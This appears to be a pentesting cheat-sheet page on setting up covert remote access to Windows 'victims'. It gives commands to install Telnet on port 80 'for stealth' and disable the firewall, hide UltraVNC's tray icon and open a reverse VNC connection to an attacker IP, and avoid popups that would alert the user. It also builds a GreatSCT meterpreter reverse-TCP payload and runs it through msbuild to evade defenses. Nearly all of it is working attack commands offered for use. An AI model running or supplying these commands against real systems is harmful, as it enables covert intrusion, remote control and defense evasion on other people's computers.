# **Telnet Server**

Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:

```
pkgmgr /iu:"TelnetServer" /quiet
```

Make it **start** when the system is started and **run** it now:

```
sc config TlntSVR start= auto obj= localsystem
```

**Change telnet port** (stealth) and disable firewall:

```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```

# UltraVNC

Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)

**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:

* Enable the option _Disable TrayIcon_
* Set a password in _VNC Password_
* Set a password in _View-Only Password_

Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**

## **Reverse connection**

The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**.
Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`

**WARNING:** To maintain stealth you must not do a few things
- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)

# GreatSCT

Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)

```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
```

Inside GreatSCT:

```
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```

Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with:

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```

**Current defender will terminate the process very fast.**
